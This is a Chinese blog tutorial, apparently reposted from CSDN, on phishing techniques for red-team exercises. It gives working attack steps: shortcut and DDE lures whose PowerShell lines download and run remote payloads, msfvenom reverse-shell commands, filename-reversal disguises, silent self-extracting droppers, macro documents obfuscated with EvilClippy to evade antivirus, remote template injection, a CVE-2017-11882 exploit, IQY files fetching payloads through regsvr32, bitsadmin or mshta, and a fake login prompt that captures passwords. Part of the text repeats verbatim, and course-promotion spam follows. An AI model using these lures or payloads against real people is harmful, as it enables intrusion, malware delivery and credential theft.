红蓝对抗钓鱼篇之从入门到放弃

已于 2024-01-10 18:17:58 修改
阅读量292 收藏 2
点赞数 1
文章标签： 开发语言 服务器 web安全 网络
于 2023-09-13 10:30:00 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/xnxqwzy/article/details/132830408
版权

HW期间，为防范钓鱼，即日起FreeBuf将取消投稿文章的一切外部链接。给您带来的不便，敬请谅解~

前言

上一章讲到邮件服务器的搭建和使用，那么这章就具体讲解利用方式。

在大型企业边界安全做的越来越好的情况下，不管是 APT 攻击还是红蓝对抗演练，钓鱼和水坑攻击被越来越多的应用。

钓鱼往往需要免杀技术的支撑，但本章只讲述钓鱼和些许免杀技术，免杀系列学习在后续讲解。

一、钓鱼小技巧

1.1 LNK 快捷方式

lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件，通常它以快捷方式放在硬盘上，以方便使用者快速的调用。lnk钓鱼主要将图标伪装成正常图标，但是目标会执行shell命令。

cs演示：

slGMeU.png

slGNy6.png

得到

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.158:80/a'))"

然后新建快捷方式，将上述语句填入

slJmhd.png

下一步，然后自己命名一下，点击完成。

当受害者双击之后就会自动执行我们的恶意payload,从目标网站下载并执行。

最终被得到 shell。

slY12R.md.png

也可以使用msiexec.exe，系统进程，是Windows
Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。

msfvenom-pwindows/meterpreter/reverse_tcplhost=vpsiplport=1234-fmsi>shell.txt
​
c:\windows\system32\msiexec.exe/q/ihttp://xxx/shell.txt

1.2 文件名反转

RLO，即Right-to-Left Override，我们可以在⽂件名中插⼊此类unicode字符，来达到⽂件名反转的效果。

以cmd.exe来举例，

将其重命名为cmdgpj.exe,然后在 cmd 与 g 之间右键，看图操作

slYhGj.md.png

ok，此时已经变成了 以 jpg 结尾的了。但是双击运行还是 exe 格式运行的。

slYoMq.png

再利用ResourceHacker修改图标。

找个小姐姐图片转换为 ico 格式。

http://www.bitbug.net/

slthTO.png

如图，双击实际上还是运行的cmd。

1.3 HTA

HTA是HTML
Application的缩写，直接将HTML保存成HTA的格式，是一个独立的应用软件，本身就是html应用程序，双击就能运行，却比普通网页权限大得多，它具有桌面程序的所有权限。

制作：利用 cs

attacks——>packages——>HTML application

选择powershell 生成。

1.4 CHM

CHM（Compiled Help
Manual）即“已编译的帮助文件”。它是微软新一代的帮助文件格式，利用HTML作源文，把帮助内容以类似数据库的形式编译储存。

制作CHM需要用到一个工具 EasyCHM（http://www.etextwizard.com/）

CHM制作过程：
创建一个文件夹（名字随意），在文件夹里面再创建两个文件夹（名字随意）和一个index.html文件，在两个文件夹内部创建各创建一个index.html文件。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

将下列代码放入index.html:

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECTid=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"width=1height=1>
<PARAMname="Command"value="ShortCut">
<PARAMname="Button"value="Bitmap::shortcut">
<PARAMname="Item1"value=',calc.exe'>
<PARAMname="Item2"value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

打开EasyCHM工具

后点击新建然后导入自己创建的文件夹，点击确定后再点击编译，在弹出的对话框中点击生成CHM按钮，会你生成一个CHM文件。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

点击之后就会弹出calc.exe

当然我们也可以换成其他的，比如说 powershell payload。直接上线。

1.5 自解压

直接上操作。

flash安装软件+cs生成的后门来演示。

选中需要压缩的软件，右键添加到压缩软件，

点击创建自解压格式压缩文件

image-20210320184855784

点击 高级—> 自解压选项

image-20210318220437489

填入解压路径, 绝对路劲，（C:\Windows\Temp 文件夹windows电脑都有）

image-20210318220652094

点击设置--------提取后运行

image-20210320185016028

点击模式，静默模式， 全部隐藏

image-20210318221322828

点击更新，设置

更新方式----解压并更新文件  
​  
覆盖方式----覆盖所有文件

image-20210318221347841

确定，出去可以文件名改的像一点。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

最后点击确定。生成自解压文件，

image-20210320185233866

图标有点不太对劲，使用 Restorator 把flash图标抠下来，在弄到生成的自解压文件。

具体操作就不写了，直接看结果。

image-20210320185742196

1.6 捆绑文件

K8免杀系统自带捆绑器加强版V2.0.EXE

超级文件捆绑器

slcMgf.png

生成，执行之后会执行cmd.exe一样的效果，但此时后门软件也被执行了。

1.7 自解压+RLO

二、Office钓鱼

WIN7

Office 2016

MSF

CS

2.1 基础知识

宏是Office自带的一种高级脚本特性，通过VBA代码，可以在Office中去完成某项特定的任务，而不必再重复相同的动作，目的是让用户文档中的一些任务自动化。现在Office的宏功能已经默认是禁用。

Visual Basic for Applications（VBA）是Visual
Basic的一种宏语言，是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能，特别是Microsoft
Office软件，也可说是一种应用程式视觉化的Basic 脚本。

常用的套路使对方开启宏，

文档是被保护状态，需要启用宏才能查看；

添加一张模糊的图片，提示需要启用宏才能查看高清图片；

提示要查看文档，按给出的一系列步骤操作；

贴一张某杀毒软件的Logo图片，暗示文档被安全软件保护。

推片来源 https://mp.weixin.qq.com/s/YKZ6yWWxOhn2KjTV5lDP7w，侵删

2.2 Word宏钓鱼

CS生成宏

image-20210319151816489

打开Word文档，点击 “Word 选项 — 自定义功能区 — 开发者工具(勾选) — 确定” 。

image-20210319164252446

编写主体内容后，点击 “开发工具 — Visual Basic”，双击 “ThisDocument”
，将原有内容全部清空，然后将宏payload全部粘贴进去，保存并关闭该 VBA 编辑器 。

image-20210319164451629

另存为的Word类型务必要选”Word 97-2003 文档 (*.doc)”，即 doc 文件，保证低版本可以打开。之后关闭，再打开即可执行宏代码。

image-20210319164617504

默认情况下，Office已经禁用所有宏，但仍会在打开Word文档的时候发出通知。

image-20210319164711727

点击启用内容，CS即上线

image-20210319164800607

MSF生成宏

msfvenom -pwindows/meterpreter/reverse_tcp LHOST=192.168.2.148 LPORT=4444-fvba -ovba.txt

上线不稳定。

2.3 宏免杀

Evil Clippy

https://github.com/outflanknl/EvilClippy/releases

windwos安装:

在Visual Studio开发者命令行窗口中输入下列命令：

csc/reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll/out:EvilClippy.exe*.cs

运行成功，生成exe程序。

Usage:eviloffice.exe[OPTIONS]+filename  
​  
Author:StanHegt  
Email:stan@outflank.nl  
​  
Options:  
-n,--name=VALUEThetargetmodulenametostomp.  
Thisargumentcanberepeated.  
-s,--sourcefile=VALUEFilecontainingsubstitutionVBAcode(fake  
code).  
-g,--guihideHidecodefromVBAeditorGUI.  
--gg,--guiunhideUnhidecodefromVBAeditorGUI.  
-t,--targetversion=VALUETargetMSOfficeversionthepcodewillrunon.  
-w,--webserver=VALUEStartwebserveronspecifiedporttoserve  
malicioustemplate.  
-d,--delmetadataRemovemetadatastream(mayincludeyourname  
etc.).  
-r,--randomnamesSetrandommodulenames,confusessomeanalyst  
tools.  
--rr,--resetmodulenames  
Undothesetrandommodulenamesbymakingthe  
ASCIImodulenamesintheDIRstreammatchtheir  
Unicodecounterparts  
-u,--unviewableVBAMakeVBAProjectunviewable/locked.  
--uu,--viewableVBAMakeVBAProjectviewable/unlocked.  
-v         Increasedebugmessageverbosity.  
-h,--help Showthismessageandexit.

没做任何处理之前，VT查杀 39/61

image-20210319173259042

从GUI隐藏/取消隐藏宏 VT查杀 37/60

在VBA GUI编辑器中隐藏所有宏模块（默认的“ ThisDocument”模块除外）。这是通过从项目流[MS-OVBA 2.3.1]中删除模块行来实现的。

EvilClippy.exe -g macrofile.doc

撤消由hide选项（-g）完成的更改，以便我们可以在VBA IDE中调试宏。

EvilClippy.exe -gg macrofile.doc

image-20210319173829386

Stomp VBA（滥用P代码） VT 查杀 12/60 效果很好，过火绒

将来自文本文件fakecode.vba的虚假VBA代码放在所有模块中，同时保持P代码不变。这滥用了模块流[MS-OVBA
2.3.4.3]的未记录功能。请注意，VBA项目版本必须与主机程序匹配才能执行P代码

EvilClippy.exe -s 1.vba macrofile.doc

参数说明：-s 参数是通过假的 vba 代码插入到模块中，用以混淆杀毒程序，这里我们需要写一个正常 无毒正常的 vba 脚本

注意：VBA重踏不适用于以Excel 97-2003工作簿（.xls）格式保存的文件

Sub Hello()  
Dim X  
X=MsgBox("Hello VBS")

image-20210319174344328

image-20210319174445667

效果比较好，并且可以成功上线，

image-20210319174602572

多参数混合使用：

EvilClippy.exe-s1.vba-g-rhello.docVT查杀12/61

其余更多请看这里https://github.com/outflanknl/EvilClippy

其他免杀方法：

http://www.h0r2yc.com/2019/08/01/office%E5%AE%8F%E6%94%BB%E5%87%BB%E5%8F%8A%E5%85%8D%E6%9D%80/

https://skewwg.github.io/2020/12/05/diao-yu-yu-she-gong-xi-lie-zhi-office-
hong/

2.4 远程模板注入宏代码

利用Word文档加载附加模板时的缺陷所发起的恶意请求，而达到的攻击目的，所以当目标用户点开攻击者发送的恶意Word文档就可以通过向远程服务器发送恶意请求的方式，然后加载模板执行恶意模板的宏。

发送的文档本身不带恶意代码，所以能过很多静态检测。只需要在远程DOTM文档中编写宏病毒或者木马即可。

思路：

编写一个带有宏代码的DOTM文档，上传服务器

编写一个能够远程连接的DOCX文档

将该文档压缩找到并更改settings.xml.rels文件中的内容，将其中的target内容修改为服务器上DOTM文档的URL

将DOCX解压后的内容再以存储模式压缩为ZIP

修改后缀名为DOCX，打开后即可实现远程注入宏文档

按照上述Word宏钓鱼方法制作，保存时保存类型为 dotm ， fish.dotm,

开启Web服务，放在其目录下，

http://192.168.2.148:8000/hello.doc

制作 docx

直接下载份简历

image-20210319191529116

将下载的简历文件后缀 docx 改为 zip,解压.

image-20210319190440106

将 target 内容改为http://192.168.2.148:8000/hello.doc,之后

全选目录所有文件，邮件压缩问 yanmie.zip,

image-20210319192126664

之后再把zip 后缀改为 docx即可。

靶机打开，启用宏，可上线。

image-20210319191420197

2.5 CVE-2017-11882

适用于：

MicrosoftOffice 2000  
​  
MicrosoftOffice 2003  
​  
MicrosoftOffice 2007 Service Pack 3  
​  
MicrosoftOffice 2010 Service Pack 2  
​  
MicrosoftOffice 2013 Service Pack 1  
​  
MicrosoftOffice 2016  
​  
MicrosoftOffice 365

Microsoft Office Word 的一个执行任意代码的方法，可以在不启用宏的情况下执行任意程序。

这个功能的本意是为了更方便地在 word 里同步更新其它应用的内容，比如说在一个 word 文档里引用了另一个 excel 表格里的某项内容，通过连接域
(Field) 的方式可以实现在 excel 里更新内容后 word 中同步更新的效果，问题出在这个域的内容可以是一个公式
(或者说表达式)，这个公式并不限制内容。

GitHub：

https://github.com/Ridter/CVE-2017-11882

使用：

python Command109b_CVE-2017-11882.py -c"cmd.exe /c calc.exe"-otest.doc

生成 test.doc 文档，靶机打开。成功弹出加算器

image-20210319161346054

msf 复现。

项目

https://github.com/0x09AL/CVE-2017-11882-metasploit


exploit/windows/fileformat/office_ms17_11882

有点不稳，老是上线不了

image-20210319161934022

配合 HTA上线

exploit/windows/misc/hta_server
​
http://192.168.2.148:8080/IbsbCdtZ.ht

image-20210319163708609

靶机打开test2.doc直接上线

image-20210319164005168

2.5 word 中插入外部对象(OLE)方式欺骗

image-20210319204824562

改变题注，更加逼真

image-20210319205309812

image-20210319205326159

双击，选择确定，即可上线。

2.6 构造DDE钓鱼文档

创建一个文档 dde.docx ,之后双击打开 dde.docx,直接Ctrl +
f9快捷键便可以快速帮助创建一个域,我们则只需要在花括号中添加如下指令(弹出一个计算器),实战过程中可以远程加载我们的木马。

DDEAUTOc:\\windows\\system32\\cmd.exe"\/k calc.exe"

image-20210319210138079

image-20210319210150369

成功弹出计算器。

这里用ps远程下载马。

image-20210319210251889

输入

DDEAUTO"C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.2.148:8000/beacon.ps1'); # ""Microsoft Document Security Add-On"

image-20210319210948328

点击是—> 是—>确认 后即上线。

2.7 IQY特性钓鱼

利用nishang下的Out-WebQuery.ps1， 脚本生成包含恶意 payload url 的 iqy 文件。

可以将IYQ简单的理解成内置在excel中的一种特殊‘web浏览器’（不能加载脚本），通过IQY【即web查询】语句，可以直接将各类web上的列表数据轻松引入到当前的excel中，而正是因为这样，从而给了我们利用excel制作钓鱼邮件的机会，假如你要引入的web数据是入侵者事先准备好的一段payload
iqy恶意代码，那结果就不言而喻了。

利用过程：

新建一个excel文件，找到"数据"–>“自网站”–>“地址”，填写要抓取数据的网站url，选中想抓取数据的表单

image-20210320095353521

点击导入

image-20210320095423476

点击确定，即可成功导入

image-20210320095447284

接下来利用IYQ打开计算机来看看效果

在我们自己的服务器的网站目录下放一个payload.html文件，内容是IYQ代码

=cmd|'/c calc.exe '!A0

接下来就是按照之前的方法，来拉取我们自己服务器上的payload文件

image-20210320101555566

导入

image-20210320100212731

image-20210320101627913

点击是，即可弹出计算器

image-20210320101645783

将文件保存，放在靶机打开

image-20210320101751297

点击启用内容，继续点击是，即可弹出计算器。

image-20210320101807738

其他方式

regsv***
=cmd|'/c regsv*** /s /n /u /i:http://ip/D4zv0M.sct scrobj.dll '!A0
bitsadmin
=cmd|'/c bitsadmin /transfer e822 http://ip/iqy %APPDATA%\e822.exe&%APPDATA%\e822.exe&del %APPDATA%\e822.exe '!A0
mshta
=cmd|'/c mshta http://ip/iqy.hta '!A0

接下来进行弹shell操作

用到的工具：

nishang：  
https://github.com/samratashok/nishang/releases

先在kali准备好payload:

exploit/multi/script/web_delivery

image-20210320103426217

用nishang中提供好的Out-WebQuery脚本来生成iqy文件

iqy文件本身的内容很简单，只有一个包含恶意payload的url：http://192.168.2.148/msf.html，关键也就在这个
html,我们需要把 html 的内容换成加载我们上面准备好的 meterpreter payload 的 iqy 语句 ：regsv*** /s /n
/u /i:http://192.168.2.148:8080/ZTPzcY6J5.sctscrobj.dll

然后利用nishang-master\Client\Out-WebQuery.ps1,生成文件

powershell-execbypass-Command"& {Import-Module ".\Out-WebQuery.ps1";Out-WebQuery -URL http://192.168.2.148:8000/msf.html}"

image-20210320104230006

命令成功执行后，会生成一个iqy文件

接下来，打开Web服务目录，创建msf.html,内容为刚刚msf生成的paylaod

=cmd|'/c regsv*** /s /n /u /i:http://192.168.2.148:8080/ZTPzcY6J5.sct scrobj.dll '!A0

接下来就可以想办法把之前生成的iqy文件发送给受害者。

当受害者双击打开时，默认会用Excel打开，弹出警告，点击启用

image-20210320104826301

因为前面的iqy文件是用cmd执行的，所以会继续询问是否启动另一个应用程序，CMD.EXE.

image-20210320104948760

点击是，正常情况下监听的msf会生成一个会话。

借助IQY窃取目标用户密码

powershell-execbypass-Command"& {Import-Module ".\Out-WebQuery.ps1";Out-WebQuery -URL http://192.168.2.1}"


powershell-execbypass  
cd.\Utility  
Import-Module.\Start-CaptureServer.ps1  
Start-CaptureServer-AuthTypeBasic-IPAddress192.168..2.1-LogFilePathC:\windows\temp\log.txt  
# 注意此处的认证要选择基础认证,监听的 ip 和上面生成 iqy 文件中的 ip 一致,通常都是本机 i

之后把上一步生成的 IQY文件发给靶机，打开

image-20210320112924327

image-20210320112935034

此认证窗口会连续出现三次，相信三次里面总有一个能用的账号密码,因为目标可能也压根搞不清楚这是什么东西,以为是系统的账号密码,就随便输,其实我们主要还是想利用这种方式钓到可用的
owa 或者 v*n 账号密码

image-20210320113943580

2.8 PPT 动作按钮特性构造 PPSX钓鱼

新型PPT钓鱼攻击分析

首先，创建一个普通的PPTX文件，随便填入一些内容，如下图：

image-20210320114755129

这里要选择空白的那个，选择以后，在页面中拉出一个触发位置，之后会弹出动作设置的界面,选择鼠标悬停—> 运行程序

msiexec.exe，系统进程，是Windows Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。

2.9 超链接

在PDF、Office文档中内嵌一个跳转链接是很早期的钓鱼方式，通过文字信息的引导，让受害者点开页面，如果缺乏戒心，就可能会获取到受害者的账号、密码、银行卡、身*证等信息。

三、邮件钓鱼

邮件服务器相关环境搭建，邮件信息收集请见这里

3.1 伪造

SRC假漏洞、简历、宏文档、合作利诱、技术交流、钓鱼网站、第三方平台、加好友。

3.2 伪造发件人

3.3 office 宏钓鱼

3.4 直接发送exe引诱

四、flash钓鱼

选择域名： http://www.f1ash.cn/

源码： https://github.com/r00tSe7en/Fake-flash.cn

自解压或者捆绑 配合 xss .

详细步骤见 1.6 .

五、网站钓鱼

制作钓鱼网站，克隆网站

cs,msf都有这个功能

setoolkit

六、BadUsb

https://blog.youkuaiyun.com/qq_26091745/article/details/98092211

参考文章：

https://mp.weixin.qq.com/s/YKZ6yWWxOhn2KjTV5lDP7w

https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/

https://github.com/outflanknl/EvilClippy

https://www.jianshu.com/p/bf347241cfd4

https://cloud.tencent.com/developer/article/1633522

https://www.yehe.org/article/62125.html

https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247487419&idx=1&sn=06f9f8934611cce555d9bd76464f404f

e 宏钓鱼

3.4 直接发送exe引诱

四、flash钓鱼

选择域名： http://www.f1ash.cn/

源码： https://github.com/r00tSe7en/Fake-flash.cn

自解压或者捆绑 配合 xss .

详细步骤见 1.6 .

五、网站钓鱼

制作钓鱼网站，克隆网站

cs,msf都有这个功能

setoolkit

六、BadUsb

https://blog.youkuaiyun.com/qq_26091745/article/details/98092211

参考文章：

https://mp.weixin.qq.com/s/YKZ6yWWxOhn2KjTV5lDP7w

https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/

https://github.com/outflanknl/EvilClippy

https://www.jianshu.com/p/bf347241cfd4

https://cloud.tencent.com/developer/article/1633522

https://www.yehe.org/article/62125.html

https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247487419&idx=1&sn=06f9f8934611cce555d9bd76464f404f

题外话

初入计算机行业的人或者大学计算机相关专业毕业生，很多因缺少实战经验，就业处处碰壁。下面我们来看两组数据：

2023届全国高校毕业生预计达到1158万人，就业形势严峻；

国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。

6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》）正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科计算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。

具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高，涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！

img

2、人才缺口大，就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才 需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

（都打包成一块的了，不能一一展开，总共300多集）

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

红蓝对抗中的钓鱼技术
不忘初心，护天下安全！
10-10 4574
ftp加!可以执行命令首先创建一个ftp的快捷方式，快捷方式的起始位置留空，目标为：C:\Winodws\System32\ftp.exe -""s:abc.dll快捷方式的图标以及名字可以进行适当的伪装：后门恶意链接的生成方式，在CobaltStike中点击：Scripted Wed Delivery(s)p此处是使用了无文件攻击的思路，直接调用powershell执行恶意操作会很容易被360等杀软拦截。
Ms08067红队学员 “红蓝实战对抗”报告
Ms08067安全实验室
12-23 972
MS08067红队攻防从第二期班开始增加了“实战对抗”环节，为了模拟真实环境将采用两个不同的云服务提供商搭建真实环境，将同学分为AB两队，一攻一守，实现既有攻击也要有防御更要有反制的全面内...
PowerShell从入门到放弃-01
weixin_40712926的博客
01-24 752
PowerShell版本
xss-flash攻击钓鱼
qq_64470109的博客
03-05 400
set payload windows/x64/meterpreter/reverse_tcp //使用Windows64的监听。当管理员下载这个文件后我们就可以控制它的电脑了，但是现在这个文件里还没有病毒，所以我们要制作病毒。然后再输入病毒命令就可以了，这样我们可以看到在root里生成了一个shell.exe文件。use exploit/multi/handler //使用监听模块。set lhost kali的ip //监听的地址。set lport 4444 //监听的端口。
转载—红蓝对抗之安装包钓鱼与反钓鱼
12306小哥
06-15 474
红蓝对抗之安装包钓鱼与反钓鱼 前言 转载自：https://wiki.freebuf.com/detail?wiki=15&post=274750 文件钓鱼是红蓝对抗中红队经常使用的攻击手段，相反蓝队也可以通过反钓鱼的手段来对红队进行反制，获取分值。以上内容来自原文。 实际上我们曾在某次大型演练中有幸使用过此方法，获得了不错的成绩。看到此文，特转载留存。 红队钓鱼利用 伴随着邮件沙箱，恶意行为检测等技术的发展，传统文件钓鱼攻击严重增加，可以使用dll劫持技术劫持一个正常的软件，进行重打包。然后以版本
powershell搞的想放弃
ww_white的博客
02-28 517
learn python the hard way学习第一天第一个课就碰到了障碍，零基础学编程，首先搞的powershell就很头疼，感觉是个绕不过去的槛，但是看教程感觉指令太多了记不过来，最后搜索的csdn博客，直接用cd指令运行了第一个python1、下载python，安装，找到powershell，用cd指令找到python的目录2、输入代码发现一个ASCII的什么问题运行不了，因为里面有中...
Powershell学习笔记：(一）、初识Powershell
weixin_30480075的博客
01-03 165
什么是Powershell? MSDN上的说明是：PowerShell 是构建于 .NET 上基于任务的命令行 shell 和脚本语言。PowerShell 可帮助系统管理员和高级用户快速自动执行用于管理操作系统（Linux、macOS 和 Windows）和流程的任务。 使用 PowerShell 命令可以从命令行管理计算机。PowerShell 提供程序可让你访问数据存储（如注册表和证...
必看！邮件钓鱼入门到入土
Appleteachers的博客
05-07 3156
在大型企业边界安全做的越来越好的情况下，不管是 APT 攻击还是红蓝对抗演练，钓鱼和水坑攻击被越来越多的应用。 一、邮件安全的三大协议 1.1 SPF SPF 是 Sender Policy Framework 的缩写，中文译为发送方策略框架。 主要作用是防止伪造邮件地址。 由于发送电子邮件的传统规范 - 1982年制定的《简单邮件传输协议（SMTP）》对发件人的邮件地址根本不进行认证，导致垃圾邮件制造者可以随意编造寄件人地址来发送垃圾信，而接收者则毫无办法，因为你无法判断收到的邮件到底是谁寄来的。 在SP
新手必备！红日Web安全与移动安全入门专刊
此外，专刊还可能会涉及一些专业的安全术语和概念，如‘红蓝对抗’。这是一个安全测试方法，其中‘红队’扮演攻击者的角色来测试系统的安全性，而‘蓝队’则负责防御，确保系统安全。这种方法能够帮助组织识别和修复...
【网络安全】你不能错过的一本红蓝攻防鸿篇巨著
zz12345600354的博客
05-25 662
本书是一本针对安全领域的红蓝攻防对抗的专业书，既能作为安全从业者在红蓝攻防对抗活动中的指导用书，又能成为企业安全部门构建纵深防御体系的参考指南。希望本书所分析、讲述的红蓝双方视角下的攻防对抗手法，能帮助各行业的网络安全从业者增强实践、知己知彼，从企业内部构建起安全防御体系。
[特殊字符] 前端安全终极指南：XSS/CSRF漏洞从入门到实战防御（含完整代码）[特殊字符]
最新发布
资深全栈架构师，乐于在 优快云 分享技术见解，与大家携手共进，共攀技术巅峰！
04-16 1135
📢无论你是刚入门的前端开发者，还是寻求进阶的安全工程师，本文将从零构建攻防实战场景，手把手教你彻底掌握XSS与CSRF的防御技巧！
windows快捷方式(lnk文件)格式文档
06-13
windows快捷方式(lnk文件)格式文档
WinServer-服务器管理器-从入门到放弃
weixin_30820151的博客
04-13 344
WIN7 远程服务器管理工具 看看这篇帖子，他们说可以在WIN7上通过服务器管理工具来管理服务器上的软件 https://social.technet.microsoft.com/Forums/zh-CN/094f9dd3-669a-4bea-9f81-f2ea009384d1/powershell-v2-and-active-directory-module?forum=winser...
TypeScript从入门到放弃
qq_63605927的博客
06-30 1040
使用 type 关键字声明自定义类型。如果一个复杂的类型使用的较多时可以使用，当创建了别名之后就可以直接使用该别名。// arrType 就是一个类型别名。
Xss——Flash钓鱼
weixin_56291508的博客
04-22 854
Xss——Flash钓鱼
2022钓鱼利器，LNK文件攻击为何广受青睐
shandongjiushen的博客
03-21 1363
恶意LNK文件活动增多
免杀对抗-宏免杀
xiaoheizi的博客
10-07 1716
编译：csc.exe /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs。5..将原生态宏文件cs.doc和经过踩踏的宏文件cs_EvilClippy.doc上传到恶意文件评测平台。4.点击开发工具——新建 宏——任意 宏名——宏的位置(之前新建的word文档)——创建。5.跳转到如下，将cs生成的宏代码写入——点击保存——取消。3.自定义功能区——勾选 开发工具——点击确定。
分享一个进阶版的钓鱼宏
acker930616263的博客
07-09 6455
